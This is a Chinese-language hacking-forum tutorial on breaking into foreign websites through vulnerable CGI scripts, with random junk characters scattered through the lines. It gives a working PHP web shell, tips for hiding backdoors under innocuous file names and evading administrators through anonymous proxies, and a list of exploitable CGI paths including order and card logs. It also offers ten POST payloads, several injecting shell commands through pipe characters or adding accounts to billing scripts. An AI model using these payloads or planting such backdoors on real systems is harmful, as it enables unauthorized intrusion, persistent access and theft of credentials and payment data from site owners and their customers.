CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
9 y8 }5 Q6 I# x, G# z大家好 我是bboyhip  只是一名菜菜的exploiter
, q+ E# M6 S) }. b' k* M' |! q很开心来到贵论坛
4 r& M: S$ [/ i这里让我感觉 很有技术交流的感觉
0 g% U/ R  q# A. \4 j: E" S+ U我会长长来玩的
4 E7 D% L7 n; Y9 Q" U5 L; ?8 ^1 f前言:
4 v! T& M8 m! O以下讲解针对欧美日本网站
( x3 l( D, F- [: P% L當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/
$ H4 z. i, D; s& |5 w! q
只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手
$ B* }) Y5 w: V4 j
: Z1 {8 M- e9 D4 }$ D! T以下内容跟帖回复才能看到
==============================

第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
5 V, u: @+ q' v7 \6 gA shell is the program which reads user input from the command line and executes actions based upon that input.
% }- f6 p" e7 U6 P5 \% Q0 m( w意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

+ i9 |. [, w9 f; c, K对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
0 S- a9 C0 c5 w$ F, z8 ^9 U" Z6 l要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
! A0 U% a/ {9 X  M所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
6 `$ ?1 w9 w  Qls /: 列出根目录
  M- k0 E7 U) b* M7 t6 _& pls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
* F5 C1 w7 F0 u8 n; O& ]5 ]cat: 显示档案内容
/ J$ i9 R" G0 O, F; {cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
3 o8 m8 b( [2 i& A) U/ `& M8 aman: 显示指令用法  
2 v' v; |) s: h$ }' Q" B; ~( I" _man ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
mv 移动档案
  M5 _( l& \5 ^+ W: t; c0 @rm 删除档案

$ I5 \# V/ l0 \: p! p' j7 B第3部份: Shell的使用
" p9 f" n" F5 I$ `例如:
http://site.com/refer.php
这是我的後门, 原代码如下:
& U5 J0 S7 B3 [) ?1 o# ?# V<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
5 |' K) K; o; F" j</Form>
% Y1 U4 s. B( A3 d1 ^9 B<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
! c2 n- M6 {* U1 C( \! }6 t" M?>
9 n4 p) r0 [7 ^7 W. D: S7 q输入pwd, 可得到绝对路径:
. @2 q0 B& y. e2 \% |/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

& N8 Z# X% K* {" D: l! h第4部份: 注意事项
- 使用匿名代理, 保障自己
2 U1 M" u. B: p/ u. _: z5 P* X- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
( N% i& J+ }; A# r( N' |! S- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
) D- O2 h' x, j$ ]不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
9 c  ~% k; {( U2 u6 f) e3 N6 k8 e! ~5 L针对网站的渗透分析方法太多了
# L5 [7 m1 S6 _! b. Y' O! U) q这篇文章的重点是cgi 脚本攻击
. m; }, `' A+ t  g8 C4 f! K所以我用简单的叙述形容
6 M9 `' A* [& z; n, q# I开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下
; o6 ~/ P* O: l1 y: c" Z  V# f5 M
1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
扫洞工具 如:triton..等等
) T! |8 r+ t( D# wE表
9 }' P* t6 W6 |如
/ |+ b: C& i) ]/ c) g/ D/cgi-bin/add-passwd.cgi
$ z* L$ ^5 m5 Q$ r! L, F% p/WebShop/templates/cc.txt
/Admin_files/order.log
" `7 m6 r4 v4 l2 H" P) C. o4 U/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
  X" _! K7 A1 [: N% i! ?( ]; k/htbin/cart.pl
# G8 n" W% u- k& V% sE表来源可以是网路收寻或是自己的0 day
$ P$ E* }) z" P- e) Z* W. F
. E" R4 s. W7 H$ P! x$ T2.怎样确认扫到的洞 是真的还假的?
( ~+ [+ m9 T$ F5 [5 _举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
1 i: x7 ^! e/ }/ O- `( ?& j我们要找post 的方法很多
; W! r. W6 t* d- A7 V可以是源代码分析 找出介质
) e( N4 o/ W. J! `$ c或是用抓包工具 抓他的语法...等等

4 M$ i- ?7 a8 R7 F! s以下我提供10个 cgi 洞以及使用方法post
' \& b% r" i8 u2 x让大家可以针对网站去做扫描  
/index.cgi
wei=ren&gen=command
/passmaster.cgi
  S: F+ ~( [" g( ?3 S0 IAction=Add&Username=Username&Password=Password
/accountcreate.cgi
9 }: W; Q* U2 B- }; h# jusername=username&password=password&ref1=|echo;ls|
, ^- e; _: \  }/form.cgi
2 V0 l1 V/ ~/ S+ K- Xname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
8 @9 e3 w6 ^8 n0 L2 H- C* y# _/ccbill-local.asp
post_values=username:password
" {* h1 ?& t5 {/count.cgi
: k/ o7 J: M1 W9 J8 S! Dpinfile=|echo;ls -la;exit|
  \7 A, |# x' b% ]/recon.cgi
% C/ z& N- M. g3 l3 k$ K+ Q/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
9 i$ b6 a2 V$ G7 l' M. K8 U
今天就讲到这  感谢大家支持
" C/ }* T- Y: E- W# q6 P" a